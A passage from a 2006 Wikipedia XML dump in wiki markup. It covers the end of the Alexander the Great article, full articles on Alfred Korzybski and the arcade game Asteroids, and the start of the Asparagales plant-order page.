In the first centuries after Alexander's death, probably in [[Alexandria]], a quantity of the more legendary material coalesced into a text known as the ''[[Alexander Romance]]'', later falsely ascribed to the historian Callisthenes and therefore known as ''Pseudo-Callisthenes''. This text underwent numerous expansions and revisions throughout Antiquity and the [[Middle Ages]], exhibiting a plasticity unseen in &quot;higher&quot; literary forms. Latin and [[Syriac]] translations were made in Late Antiquity. From these, versions were developed in all the major languages of [[Europe]] and the [[Middle East]], including [[Armenian language|Armenian]], [[Georgian language|Georgian]], [[Persian language|Persian]], [[Arabic language|Arabic]], [[Turkish language|Turkish]], [[Hebrew language|Hebrew]], [[Serbian language|Serbian]], [[Slavic languages|Slavonic]], [[Romanian language|Romanian]], [[Hungarian language|Hungarian]], [[German language|German]], [[English language|English]], [[Italian language|Italian]], and [[French language|French]]. The &quot;Romance&quot; is regarded by most Western scholars as the source of the [[account of Alexander given in the Qur'an]] ([[Sura]] ''The Cave''). It is the source of many incidents in [[Ferdowsi]]'s &quot;[[Shahnama]]&quot;. A [[Mongol]]ian version is also extant. 

Some believe that, excepting certain religious texts, it is the most widely-read work of pre-modern times.

===Alexander's legend in non-Western sources===
{{main|Alexander in the Qur'an (Theory)}}
Alexander was often identified in Persian and Arabic-language sources as [[Dhul-Qarnayn]], Arabic for the &quot;Two-Horned One&quot;, possibly a reference to the appearance of a horn-headed figure that appears on coins minted during his rule and later imitated in ancient Middle Eastern coinage. If this theory is followed, [[Islamic]] accounts of the Alexander legend, particularly in the [[Qur'an]] and in Persian legends, combined the [[Pseudo-Callisthenes]] legendary, pseudo-religious material about Alexander. The same legends from the Pseudo-Callisthenes were combined in Persia with [[Sasanid]] [[Pahlavi languge|Persian]] ideas about Alexander in the [[Iskandarnamah]].

==Main towns founded by Alexander==
Around seventy towns or outposts are claimed to have been founded by Alexander. Some of the main ones are: 

* [[Alexandria, Egypt|Alexandria]], [[Egypt]]
* [[Alexandria Asiana]], [[Iran]]
* [[Alexandria in Ariana]], [[Afghanistan]]
* [[Alexandria of the Caucasus]], [[Afghanistan]]
* [[Alexandria on the Oxus]], [[Afghanistan]]
* [[Alexandria of the Arachosians]], [[Afghanistan]]
* [[Alexandria on the Indus]] (Alexandria Bucephalous), [[Pakistan]]
* [[Alexandria Eschate|Alexandria Eschate, &quot;The furthest&quot;]], [[Tajikistan]]
* [[Iskenderun]] (Alexandretta), [[Turkey]]
* [[Kandahar]] (Alexandropolis), [[Afghanistan]]

==Alexander in popular media==

[[Image:Rogue shield.jpg|right|thumb|200px|The ''Smallville'' version of the Shield of Alexander the Great, as seen in the first season episode, &quot;Rogue&quot;]]

*A [[1956]] movie starring [[Richard Burton]] titled ''[[Alexander the Great (1956 film)|Alexander the Great]]'' was produced by [[Metro-Goldwyn-Mayer|MGM]].
*A [[1941]] [[Hindi]] movie ''Sikandar'' directed by [[Sohrab Modi]] depicts Alexander the Great's Indian conquest.
*[[Bond (band)|Bond]]'s 2000 album ''Born'' includes a song titled ''Alexander the Great''.
*[[Oliver Stone]]'s film ''[[Alexander (film)|Alexander]]'', starring [[Colin Farrell]], was released on [[November 24]], [[2004]].
*[[Baz Luhrmann]] had been planning to make a very different film about Alexander, starring [[Leonardo DiCaprio]], but the release of Stone's film eventually persuaded him to abandon the project. [http://www.imdb.com/news/wenn/2004-11-01#2]
*Numerous [[television program|television series]] about Alexander have been created.
*The British heavy metal band [[Iron Maiden]] had a song entitled &quot;[[Alexander the Great (song)|Alexander the Great]]&quot; on their album ''[[Somewhere in Time (album)|Somewhere in Time]]'' ([[1986]]). The song describes Alexander's life, but contains one inaccuracy: in the song it is stated that Alexander's army would not follow him into India.
* Brazilian musician [[Caetano Veloso]]'s [[1998]] album ''Livro'' includes an epic song about Alexander called &quot;Alexandre.&quot;
*From [[1969]] to [[1981]], [[Mary Renault]] wrote a historical fiction [[trilogy]], speculating on the life of Alexander: ''Fire from Heaven'' (about his early life), ''The Persian Boy'' (about his conquest of Persia, his expedition to India, and his death, seen from the viewpoint of a Persian [[eunuch]]), and ''Funeral Games'' (about the events following his death). Alexander also appears briefly in Renault's novel ''The Mask of Apollo''. In addition to the fiction, Renault also wrote a non-fiction biography, ''The Nature of Alexander''.
*A 1965 [[Hindi]] movie ''Sikandar-e-Azam'' directed by [[Kedar Kapoor]] starring [[Dara Singh]] as Alexandar depicts Alexandar's Indian conquest with Porus.
*A further trilogy of novels about Alexander was written in [[Italian language|Italian]] by [[Valerio Massimo Manfredi]] and subsequently published in an English translation, entitled ''The Son of the Dream'', ''The Sands of Ammon'' and ''The Ends Of The Earth''.
* David Gemmel's &quot;Dark Prince&quot; features Alexander as the chosen vessel for a world-destroying demon king.  ISBN 0345379101.
*[[Steven Pressfield]]'s [[2004]] book ''The Virtues of War'' is told from the [[first-person narrative|first-person]] [[point of view (literature)|perspective]] of Alexander.
*An [[epic poetry|epic]] [[science fiction]] [[animation|animated]] retelling of the story called ''[[Reign (anime)|Reign: The Conqueror]]'', based on the novel ''Alexander Senki'' by [[Hiroshi Aramata]], with character designs by [[Peter Chung]] of ''[[Aeon Flux]]'' fame, debuted in [[Japan]] in [[1997]] and on the [[Cartoon Network]]'s ''[[Adult Swim]]'' block variety show in [[2003]].
* Alexander is a character in the [[computer game]] [[Civilization (computer game)|Civilization]].
* The ''[[Smallville (TV series)|Smallville]]'' season 1 episode &quot;Rogue&quot;, [[Lex Luthor]] shows [[Superman|Clark Kent]] the shield that Alexander the Great wore in battle. The shield is gold, with red and blue diamonds (the colors that represent [[Superman]]), and  a snake shaped like the letter S.
* The [[1975]] film ''[[The Man Who Would Be King (film)|The Man Who Would Be King]]'' starring [[Sean Connery]] and [[Michael Caine]] is based on the [[Rudyard Kipling]] [[The Man Who Would Be King|story]] of two British adventurers who cross the Hindu Kush to the land of [[Kafiristan]], once conquered by Alexander. Daniel (Connery) is believed by the natives to be the return of Alexander and is crowned King.

==Notes==
{{ent|1|MvsG1}} Whether the [[Ancient Macedonians|Macedonians]] of Alexander's time and before were [[Hellenes]] (Greeks) is disputed by scholars. The question largely depends on the classification of the [[Ancient Macedonian language]]. By separating Macedonians and Greeks in this sentence and others, no position in this debate is implied.
{{ent|2|MvsG2}} See note 1.

==References==
*[[J.F.C. Fuller|Fuller, J.F. C]]; ''A Military History of the Western World: From the earliest times to the Battle of Lepanto''; New York: Da Capo Press, Inc., 1987 and 1988. ISBN 0306803046
*De Santis, Marc G. “At The Crossroads of Conquest.” &lt;u&gt;[[Military Heritage]]&lt;/u&gt;. December 2001. Volume 3, No. 3: 46-55, 97 (Alexander the Great, his military, his strategy at the Battle of Gaugamela and his defeat of Darius making Alexander the King of Kings).


==External links==
'''Primary Sources'''
*[http://www.livius.org/aj-al/alexander/alexander_z1b.html Alexander the Great: An annotated list of primary sources] from Livius.org
*[http://www.thegreatalexander.com Alexander the Great - O Megas Alexandros] Alexander the Great forum, articles, and referenced information.
*Wiki Classical Dictionary, [http://www.ancientlibrary.com/wcd/Alexander_the_Great%2C_extant_sources extant sources] and [http://www.ancientlibrary.com/wcd/Alexander_the_Great%2C_Fragmentary_and_lost_sources fragmentary and lost sources]
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Plutarch/Lives/Alexander*/home.html Plutarch, ''Life of Alexander''] (in English)
*[http://www.forumromanum.org/literature/justin/english/index.html Justin, ''Epitome of the Philippic History of Pompeius Trogus''] (in English)
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Plutarch/Moralia/Fortuna_Alexandri*/home.html Plutarch, ''Of the Fortune or Virtue of Alexander the Great''] (in English)
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Curtius/home.html Quintus Curtius Rufus, ''Histories of Alexander''] (in Latin)
*[http://www.isidore-of-seville.com/alexander/5.html Alexander's Death] from Alexander the Great on the Web: 1,000 resources about Alexander the Great

*[http://www.3dsrc.com/alexandrelegrand/multimedia.php Alexander The Great in the french museum Le Louvre]

'''Projects'''
*[http://www.isidore-of-seville.com/Alexanderama.html Alexander the Great on the Web], a comprehensive directory of some 1,000 sites
*[http://www.petersommer.com/alexander.html In the footsteps of Alexander the Great]: an archaeological adventure across Turkey, with travel article and archaeological links
*[http://www.livius.org/aj-al/alexander/alexander00.html Livius Project] articles on Alexander by Jona Lendering
*[http://www.pothos.org Pothos.org: Alexander's Home on the Web]
*[http://www.ancientlibrary.com/wcd/Category:Alexander_the_Great Wiki Classical Dictionary: Category Alexander the Great], a Mediawiki based project, with stricter guidelines and editors
*[http://rg.ancients.info/alexander/ Alexander the Great Coins], a site depicting Alexander's coins and later coins featuring Alexander's image
*[http://www.thegreatalexander.com Alexander the Great Site], a site dedicated to Alexander. Features Articles about Alexander, his life, armies, mysteries surrounding his death, and the Hellenistic Period that came after this great Hellenic Leader.

'''Narratives'''
*[http://www.1stmuse.com/frames/ Alexander the Great of Macedon], a project by John J. Popovic
*[http://www.androphile.org/preview/Library/Biographies/Alexander/Alexander.htm The loves of Alexander III of Macedon]

'''Discussion'''
*[http://www.pothos.org/forum Pothos Forum]
*[http://www.thegreatalexander.com/alexander-forum/ Alexander the Great Forum], a forum for Alexander the Great and the history surrounding him.
'''Bibliography'''
*[http://hum.ucalgary.ca/wheckel/bibl/alex-bibl.pdf PDF: A Bibliography of Alexander the Great] by Waldemar Heckel

{{start box}}
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br /&gt;'''[[Philip II of Macedon|Philip II]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Kings of Macedon|King of Macedon]]'''&lt;br /&gt;336&amp;ndash;323 BC
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;4&quot;| Succeeded by:&lt;br /&gt;'''[[Philip III of Macedon|Philip III]] &amp;amp; [[Alexander IV of Macedon|Alexander IV]]'''

|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;| Preceded by:&lt;br /&gt;'''[[Darius III of Persia|Darius III]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[List of kings of Persia|Great King of Media and Persia]]'''&lt;br /&gt; 330&amp;ndash;323 BC
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Pharaoh|Pharaoh of Egypt]]'''&lt;br /&gt;332&amp;ndash;323 BC
|-
{{end box}}

{{Plutarch's lives}}

[[Category:323 BC deaths]]
[[Category:356 BC births]]
[[Category:Alexander the Great| ]]
[[Category:Ancient Greek generals]]
[[Category:Ancient Greeks]]
[[Category:City founders]]
[[Category:Macedonian monarchs]]
[[Category:Mummies]]
[[Category:Nine Worthies]]
[[Category:Pederastic lovers]]

{{Link FA|fi}}
{{Link FA|no}}
{{Link FA|sk}}

[[af:Alexander die Grote]]
[[ar:الإسكندر الأكبر]]
[[ast:Aleixandre'l Grande]]
[[bg:Александър Македонски]]
[[bs:Aleksandar Veliki]]
[[ca:Alexandre el Gran]]
[[cs:Alexandr Veliký]]
[[da:Alexander den Store]]
[[de:Alexander der Große]]
[[el:Αλέξανδρος ο Μέγας]]
[[eo:Aleksandro la Granda]]
[[es:Alejandro Magno]]
[[et:Aleksander Suur]]
[[eu:Alexandro Handia]]
[[fa:اسکندر مقدونی]]
[[fi:Aleksanteri Suuri]]
[[fr:Alexandre le Grand]]
[[fy:Aleksander de Grutte]]
[[gl:Alexandre o Grande]]
[[he:אלכסנדר הגדול]]
[[hr:Aleksandar Veliki]]
[[hu:Nagy Sándor]]
[[id:Alexander Agung]]
[[is:Alexander mikli]]
[[it:Alessandro Magno]]
[[ja:アレクサンドロス3世]]
[[ko:알렉산드로스 대왕]]
[[ku:Eskenderê Mezin]]
[[la:Alexander Magnus]]
[[lt:Aleksandras Didysis]]
[[lv:Aleksandrs Lielais]]
[[mk:Александар Македонски]]
[[nl:Alexander de Grote]]
[[no:Aleksander den store]]
[[pl:Aleksander Macedoński]]
[[pt:Alexandre, o Grande]]
[[ro:Alexandru cel Mare]]
[[ru:Александр Македонский]]
[[scn:Lissandru lu Granni]]
[[simple:Alexander the Great]]
[[sk:Alexander Veľký]]
[[sl:Aleksander Veliki]]
[[sq:Leka i Madh]]
[[sr:Александар Македонски]]
[[sv:Alexander den store]]
[[tl:Alexander ang Dakila]]
[[tr:Büyük İskender]]
[[tt:İskändär]]
[[uk:Александр Македонський]]
[[zh:亚历山大大帝]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred Korzybski</title>
    <id>784</id>
    <revision>
      <id>40877655</id>
      <timestamp>2006-02-23T16:41:03Z</timestamp>
      <contributor>
        <ip>205.118.16.153</ip>
      </contributor>
      <comment>m</comment>
      <text xml:space="preserve">[[Image:Korzybski.jpg|thumb|135px|right|Alfred Korzybski]]
'''Alfred Korzybski''' was born on [[July 3]], [[1879]] in [[Warsaw]], [[Poland]], and died on [[March 1]], [[1950]] in [[Lakeville, Connecticut]], [[United States|USA]]. He is probably best-remembered for developing the theory of [[general semantics]].

==Early life and career==
He came from an [[aristocratic]] family whose members had worked as [[Mathematics|mathematicians]], [[Science|scientists]], and [[Engineering|engineers]] for generations, and he chose to train as an engineer.

Korzybski was educated at the [[Warsaw University of Technology]]. During the [[World War I|First World War]] Korzybski served as an [[Military intelligence|intelligence officer]] in the [[Russia|Russian]] Army. After being wounded in his leg and suffering other injuries, he came to North America in [[1916]] (first to [[Canada]], then the [[United States]]) to coordinate the shipment of artillery to the war front. He also lectured to [[Polish-American]] audiences about the conflict, promoting the sale of war bonds. Following the war, he decided to remain in the United States, becoming a [[Naturalization|naturalized citizen]] in [[1940]]. His first book, &lt;cite&gt;Manhood of Humanity&lt;/cite&gt; was published in [[1921]]. In the book, he proposed and explained in detail a new theory of humankind: mankind as a [[time-binding]] class of life.

==General semantics ==
Korzybski's work culminated in the founding of a discipline that he called [[general semantics]] (GS). As Korzybski explicitly said, GS should not be confused with [[semantics]], a different subject. The basic principles of general semantics, which include time-binding, are outlined in &lt;cite&gt;Science and Sanity&lt;/cite&gt;, published in [[1933]]. In [[1938]] Korzybski founded the [[Institute of General Semantics]] and directed it until his death.

In simplified form, the &quot;essence&quot; of Korzybski's work was the claim that human beings are limited in what they know by (1) the structure of their nervous systems, and (2) the [[structure]] of their languages. Human beings cannot experience the world directly, but only through their &quot;abstractions&quot; (nonverbal impressions or &quot;gleanings&quot; derived from the nervous system, and verbal indicators expressed and derived from language). Sometimes our perceptions and our languages actually mislead us as to the &quot;facts&quot; with which we must deal. Our understanding of what is going on sometimes lacks ''similarity of structure'' with what is actually going on. He stressed training in awareness of abstracting, using techniques that he had derived from his study of mathematics and science. He called this awareness, this goal of his system, &quot;consciousness of abstracting.&quot; His system included modifying the way we approach the world, e.g., with an attitude of &quot;I don't know; let's see,&quot; to better discover or reflect its realities as shown by modern science. One of these techniques involved becoming inwardly and outwardly quiet, an experience that he called, &quot;silence on the objective levels.&quot;

== Korzybski and ''to be'' ==
It is often said that Korzybski opposed the use of the verb &quot;to be,&quot; an unfortunate exaggeration. He thought that ''certain uses'' of the verb &quot;to be,&quot; called the &quot;is of identity&quot; and the &quot;is of predication,&quot; were faulty in structure, e.g., a statement such as &quot;Joe is a fool&quot; (said of a person named 'Joe' who has done something that we regard as dumb). Korzybski's remedy was to ''deny'' identity; in this example, to be continually aware that 'Joe' is ''not'' what we ''call'' him. We find Joe not in the verbal domain, the world of words, but the nonverbal domain. This was expressed in Korzybski's most famous premise, &quot;[[The map is not the territory|the map is not the territory]].&quot; Note that &quot;the map is not the territory,&quot; uses the phrase &quot;is not&quot;, a form of the verb &quot;to be.&quot; This example shows that he did not intend to abandon the verb as such.

== Anecdote about Korzybski ==
One day, Korzybski was giving a lecture to a group of students, and he suddenly interrupted the lesson in order to retrieve a packet of biscuits, wrapped in white paper, from his briefcase. He muttered that he just had to eat something, and he asked the students on the seats in the front row, if they would also like a biscuit. A few students took a biscuit. &quot;Nice biscuit, don't you think&quot;, said Korzybski, while he took a second one. The students were chewing vigorously. Then he tore the white paper from the biscuits, in order to reveal the original packaging. On it was a big picture of a dog's head and the words &quot;Dog Cookies&quot;. The students looked at the package, and were shocked. Two of them wanted to throw up, put their hands in front of their mouths, and ran out of the lecture hall to the toilet. &quot;You see, ladies and gentlemen&quot;, Korzybski remarked, &quot;I have just demonstrated that people don't just eat food, but also words, and that the taste of the former is often outdone by the taste of the latter.&quot; Apparently his prank aimed to illustrate how human suffering originates from the confusion or conflation of linguistic representations of reality and reality itself. (Source: R. Diekstra, ''Haarlemmer Dagblad'', 1993, cited by L. Derks &amp; J. Hollander, ''Essenties van NLP'' (Utrecht: Servire, 1996), p. 58).

== Impact ==
Korzybski's work influenced [[Neuro-linguistic programming]] (especially the [[metamodel]]), [[Gestalt Therapy]], [[Rational Emotive Behavior Therapy]] and individuals such as [[Albert Ellis]], [[Gregory Bateson]], [[Buckminster Fuller]], [[Alvin Toffler]], [[Robert A. Heinlein]], [[L. Ron Hubbard]], [[A. E. van Vogt]], [[Robert Anton Wilson]], Tommy Hall (lyricist for the [[13th Floor Elevators]]), and scientists such as William Alanson White (psychiatry), and W. Horsley Gantt (a student and colleague of Pavlov).


{{wikiquote}}

==See also==
* [[General Semantics]]
* [[The map is not the territory]]
* [[Structural differential]]
* [[E-Prime]]
* [[Institute of General Semantics]]
* [[Alfred Korzybski Memorial Lecture]]

==External links==
*[http://www.kcmetro.cc.mo.us/pennvalley/biology/lewis/gs.htm Korzybski's General Semantics]
*[http://www.general-semantics.org Institute of General Semantics]
*[http://www.gestalt.org/alfred.htm Alfred Korzybski and Gestalt Therapy Website]
*[http://www.esgs.org/uk/gshome.htm]

== Further reading ==
*&lt;cite&gt;Manhood of Humanity&lt;/cite&gt;, Alfred Korzybski, forward by Edward Kasner, notes by M. Kendig, Institute of General Semantics, 1950, hardcover, 2nd edition, 391 pages, ISBN 093729800X
*&lt;cite&gt;Science and Sanity An Introduction to Non-Aristotelian Systems and General Semantics&lt;/cite&gt;, Alfred Korzybski, Preface by [[Robert P. Pula]], Institute of General Semantics, 1994, hardcover, 5th edition, ISBN 0937298018
* ''Alfred Korzybski: Collected Writings 1920-1950'', Institute of General Semantics, 1990, hardcover, ISBN: 0685406164


[[Category:1879 births|Korzybski, Alfred]]
[[Category:1950 deaths|Korzybski, Alfred]]
[[Category:Engineers|Korzybski, Alfred]]
[[Category:Naturalized citizens of the United States|Korybski, Alfred]]
[[Category:Neuro-Linguistic Programming predecessors]]
[[Category:Polish engineers|Korzybski, Alfred]]
[[Category:Polish philosophers|Korzybski, Alfred]]

[[fr:Alfred Korzybski]]
[[nl:Alfred Korzybski]]</text>
    </revision>
  </page>
  <page>
    <title>Asteroids</title>
    <id>785</id>
    <revision>
      <id>41931398</id>
      <timestamp>2006-03-02T18:32:25Z</timestamp>
      <contributor>
        <username>John DiFool2</username>
        <id>658468</id>
      </contributor>
      <minor />
      <comment>/* Features */</comment>
      <text xml:space="preserve">{{otheruses4|the arcade game|the minor planet type of space object|Asteroid}}
{{Infobox Arcade Game |title = Asteroids
|image = [[Image:Asteroi1.png|250 px|Asteroids screenshot]]
|developer = [[Atari Games|Atari]]
|publisher = Atari
|designer = [[Lyle Rains]] and [[Ed Logg]]
|release = 1979
|genre = [[Shoot 'em up#Multi-directional shooter|Multi-directional shooter]]
|modes = Up to 2 players, alternating turns
|cabinet = Upright and cocktail
|arcade system = 
|monitor = [[Vector graphics|Vector]] 256 &amp;times; 231 (Horizontal) Colors: black and white, Size: 19[[inch|&quot;]]
|input = Five buttons
|ports = [[Atari 2600]], [[Atari 5200|5200]], [[Atari 7800|7800]], [[Atari Lynx]], [[PlayStation]], [[Nintendo 64]], [[Microsoft Windows|Windows]], [[Game Boy Color]]
}}
'''''Asteroids''''' is a popular [[vector graphics|vector-based]] video [[arcade game]] released in 1979 by [[Atari Games|Atari]]. The object of the game is for the player to shoot and destroy [[asteroid]]s without being hit by the fragments. It was one of the most popular and influential games of the [[Golden Age of Arcade Games]].

==Description==

''Asteroids'' was inspired, in a roundabout way, by the seminal ''[[Spacewar]]'', the first computer-based video game. In the early 1980s a stand-up arcade game version was produced as ''Space Wars'', which included a number of optional versions and added a floating asteroid as a visual device. ''Asteroids'' is essentially a one-player version of Spacewar, featuring the &quot;wedge&quot; ship from the original and promoting the asteroids to be the main opponent.

The game was conceived by [[Lyle Rains]] and programmed by [[Ed Logg]]. ''Asteroids'' was a hit in the [[United States]] and became one of Atari's best selling games of all time. Atari had been in the process of releasing a vector beam version of ''[[Lunar Lander]]'', but demand for ''Asteroids'' was so high they simply pulled them apart and converted them over. Today the ''Lunar Lander'' version is difficult to find. ''Asteroids'' was so popular that [[video arcade]] owners usually had to install larger boxes to hold all the coins this machine raked in.

One feature of the game was the ability for players to record their initials with their high scores, an innovation which is standard in arcade games to this day.

''Asteroids'' was the first of several games to use Atari's &quot;Quadra-Scan&quot; vector-refresh system (although a [[Raster graphics|raster-based]] full-color version was developed for the [[Atari 2600]] home video game system). Later full-color Quadra-Scan games would include ''[[Tempest (game)|Tempest]]''.

==Features==

The player's controls consisted of thrust and fire buttons, and rotate left/rotate right buttons (actually rotate counterclockwise and rotate clockwise respectively).  The momentum of the player's ship was not conserved, and it would start to slow down if thrust was not applied.  There was also a [[hyperspace]] button, which randomly teleported the player's ship somewhere on the screen, with the risk of exploding upon rematerialization (or rematerializing inside an asteroid).

The player's ship spawned in the middle of the screen, with 4 large asteroids drifting around.  Each large asteroid (20 points) would break into 2 medium-sized ones (50 points) when shot, which in turn would break into 2 small (100 points) asteroids.  The medium and small asteroids, once &quot;spawned&quot;, could travel at widely varying speeds. Periodically one of two types of flying saucers (&quot;UFOs&quot;) would fly onto the screen: the big one (worth 200 points) would shoot in random directions, while the small one (1000 points) would attempt to aim at the player; they tended to appear more often when few asteroids remained on the screen and/or the player hadn't shot an asteroid recently.  The screen wrapped around, allowing the player's ship, as well as asteroids and shots but not saucers, to fly off the one edge of the screen and reappear on the opposite side.  Once a level had been cleared of all asteroids and UFOs, a new set of large asteroids would appear, increasing by 2 each round up to a maximum of 12.

The maximum score possible was 99,990 points, after which it turned back over to zero.  A player who desired to get onto the top score list then had to be careful to shoot just enough asteroids/UFOs to reach this score without going over (including committing suicide with the last ship left to reach the final total!).

On some early versions of the game it was possible to hide the ship in the score area indefinitely without being hit by asteroids.

==Lurking==
[[Image:Asteroids UFO.svg|thumb|right|150px|The small UFO is the key to high scores for many advanced players.]]
Soon after the release of ''Asteroids'', some players discovered that small UFOs would be continually sent out when the asteroid count decreased to a certain level. Since these UFOs were worth 1,000 points each - a significant sum on this game - a strategy known as &quot;lurking&quot; soon developed around this. Players would shoot asteroids until there was only one small or mid-sized rock remaining, and then maneuver the ship to a spot approximately one inch from any corner of the screen. Small UFOs would then be ambushed as soon as they emerged (and before they were able to return fire), using wraparound fire if necessary.  Because the small UFOs were unable to &quot;lead&quot; the player's ship with their fire (i.e. aiming ahead of the ship's flight path), a clever player could manuever, if necessary, in such a way as to virtually ensure they would never be hit by the small UFO (in fact the large UFO in a sense was seen as more of a threat precisely because of its unpredictable random shots).  Since each 10,000 points awarded an extra life, players could continue almost indefinitely once the practice had been mastered. [http://www.gamearchive.com/General/Articles/ClassicNews/1981/Esquire2-81-pg62.htm] The designers abolished this practice in ''Asteroids Deluxe'' by causing the UFOs to either shoot at the remaining asteroids, thus ending the round, or shoot at the player as soon as they appeared on the screen-they also gained the ability to lead the player's ship as well, making them much more dangerous.

However it was also possible to succeed by shooting the asteroids instead; a shrewd &quot;asteroid hunting&quot; player would typically attempt to kill all the asteroids &quot;inside&quot; a large one before shooting another asteroid, thus minimizing the amount of &quot;clutter&quot; on the screen.

==Technical Description==
The ''Asteroids'' arcade machine is a so-called [[vector game]]. This means that the game graphics are composed entirely of lines which are drawn on a [[vector monitor]]. The hardware consists primarily of a standard [[MOS Technology 6502|MOS 6502]] [[central processing unit|CPU]], which executes the game program, and the [[Atari Digital Vector Generator|Digital Vector Generator]] (DVG), vector processing [[circuitry]] developed by [[Atari]] themselves. As the 6502 by itself was too slow to control both the game play and the vector hardware at the same time, the latter task was delegated to the DVG.

For each picture frame, the 6502 writes graphics commands for the DVG into a defined area of [[RAM]] (the vector RAM), and then asks the DVG to draw the corresponding vector image on the screen. The DVG reads the commands and generates appropriate signals for the vector monitor. There are DVG commands for positioning the cathode ray, for drawing a line to a specified destination, calling a subroutine with further commands, and so on.

''Asteroids'' also features various sound effects, each of which is implemented by its own [[circuitry]]. The CPU activates these audio [[electrical network|circuits]] (and other hardware components) by writing to special memory addresses (memory mapped ports). The inputs from the player's controls (buttons) are also mapped into the CPU [[address space]]

The main ''Asteroids'' game program uses only 4 [[kilobyte|KB]] of [[Read-only memory|ROM]] code. Another 4 KB of vector ROM contain the descriptions of the main graphical elements (rocks, saucer, player's ship, explosion pictures, letters, and digits) in the form of DVG commands.

==Legacy==
The gameplay in ''Asteroids'' was imitated by many games that followed. For example, one of the objects of ''[[Sinistar]]'' is to shoot asteroids in order to get them to release resources which the player needs to collect.

Due to its success, ''Asteroids'' was followed by three sequels:
* ''[[Asteroids Deluxe]]'' (1980)
* ''[[Space Duel]]'' (1982)
* ''[[Blasteroids]]'' (1987)

However, the original game was by far the most popular of the series.

The [[Killer List of Videogames]] (KLOV) credits this game as one of the &quot;Top 100 Videogames.&quot;  Readers of the KLOV credit it as the seventh most popular game.

==Ports==
Being one of the most popular video games ever, ''Asteroids'' has been ported to multiple systems, including many of [[Atari]]'s systems ([[Atari 2600]], [[Atari 5200|5200]], [[Atari 7800|7800]], [[Atari Lynx]]) and many others. The 2600 port was the first game to utilize a bank-switched cartridge, doubling available ROM space. Also, a new version of ''Asteroids'' was developed for [[PlayStation]], [[Nintendo 64]], [[Microsoft Windows|Windows]], and the [[Game Boy Color]] in the late 1990s. A port was also included on Atari's [[Atari Cosmos|Cosmos]] system, but the system never saw release. Many of the recent [[TV Games]] series of old Atari games have included either the 2600 or arcade versions of ''Asteroids''. Atari has also used the game for its other late '90s anthology series. Essentially, if one looks for this game, one will be able to find it somewhere.

In 2005, ''Asteroids'' (Including both [[Atari 2600]] and the arcade original, along with [[Asteroids Deluxe]]) were included as part of ''[[Atari Anthology]]'' for both [[XBox]] and [[Playstation 2]], using Digital Eclipse's emulation technology..

===Unofficial clones and variants===

[[Image:NovaBombs.jpg|thumb|right|150px|Avenger class fighter unleashes nova bombs in Starscape.]]

There have been countless unofficial versions of ''Asteroids'' produced. These include near-copies such as [[Acornsoft|Acornsoft's]] ''[[Meteors (game)|Meteors]]'', as well as those with expanded gameplay and background, such as ''[[Stardust (game)|Stardust]]'' and ''[[Starscape]]''.

==Record breaking gameplay==
In March 2004, [[Portland, Oregon]] resident '''Bill Carlton''' attempted to break the world record for playing an arcade version of ''Asteroids'', playing over 27 hours before his machine malfunctioned, ending his record run. He scored 12.7 million points, putting him in 5th place in the all-time ''Asteroids'' rankings. In November 1982 '''Scott Safran''' set the still unbroken record of 41 million points.

==Song==
In 1982, [[Buckner and Garcia]] recorded a song titled &quot;Hyperspace&quot;, using sound effects from the game, and released it on the album ''[[Pac-Man Fever (album)|Pac-Man Fever]]''.

==External links==
*[http://www.klov.com/game_detail.php?letter=A&amp;game_id=6939 The Killer List of Video Games entry on ''Asteroids'']
*[http://www.ataritimes.com/features/asteroids.html Atari Times: All About ''Asteroids'']
*{{moby game|id=/asteroids|name=''Asteroids''}} 
*[http://forums.krazyletter.com/index.php?act=Arcade&amp;do=play&amp;gameid=1 ''Asteroids'' - Flash Version]
*[http://www.thedoteaters.com/play2sta2.htm Article at The Dot Eaters], featuring a history of Asteroids
*[http://www.edepot.com/game.html ''Asteroids'' written for Sony PSP]
*[http://www.moonpod.com/starscape ''Starscape'' ] Asteroids game for PC with heavily advanced gameplay.

[[Category: 1979 computer and video games]]
[[Category:1979 arcade games]]
[[Category:1981 computer and video games]]
[[Category:Atari 2600 games]]
[[Category: Atari 5200 games]]
[[Category: Atari 7800 games]]
[[Category: Atari Lynx games]]
[[Category:Atari 8-bit family games]]
[[Category: Apple Macintosh games]]
[[Category: PlayStation games]]
[[Category: PC games]]
[[Category: Nintendo 64 games]]
[[Category: Game Boy Color games]]
[[Category:Shoot 'em ups]]
[[Category: Arcade games]]
[[Category:Atari arcade games]]
[[Category:Vector arcade games]]
[[Category: Mobile phone games]]
[[de:Asteroids]]
[[fr:Asteroids]]
[[sv:Asteroids]]
[[it:Asteroids]]</text>
    </revision>
  </page>
  <page>
    <title>Asparagales</title>
    <id>786</id>
    <revision>
      <id>40166879</id>
      <timestamp>2006-02-18T17:57:25Z</timestamp>
      <contributor>
        <username>Berton</username>
        <id>549980</id>
      </contributor>
      <minor />
      <comment>italics</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Asparagales
| image = Illustration Asparagus officinalis0.jpg
| image_width = 200px
| image_caption = [[Asparagus officinalis]]
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Liliopsida]]
| ordo = '''Asparagales'''
| ordo_authority = [[Edward French Bromhead|Bromhead]]
| subdivision_ranks = Families
| subdivision = 
&lt;small&gt;''according to the &lt;br /&gt;[[Angiosperm Phylogeny Group]]''&lt;/small&gt;&lt;hr&gt;
*[[Agapanthaceae]]
*[[Agavaceae]]
*[[Alliaceae]]
*[[Amaryllidaceae]]
*[[Aphyllanthaceae]]
*[[Asparagaceae]]
*[[Asphodelaceae]]-
&lt;small&gt;(optional synonym of Xanthorrhoeaceae)&lt;/small&gt;
*[[Asteliaceae]]
*[[Blandfordiaceae]]
*[[Boryaceae]]
*[[Doryanthaceae]]
*[[Hemerocallidaceae]]
*[[Hyacinthaceae]]
*[[Hypoxidaceae]]
*[[Iridaceae]]
*[[Ixioliriaceae]]
*[[Lanariaceae]]
*[[Laxmanniaceae]]
*[[Orchidaceae]]
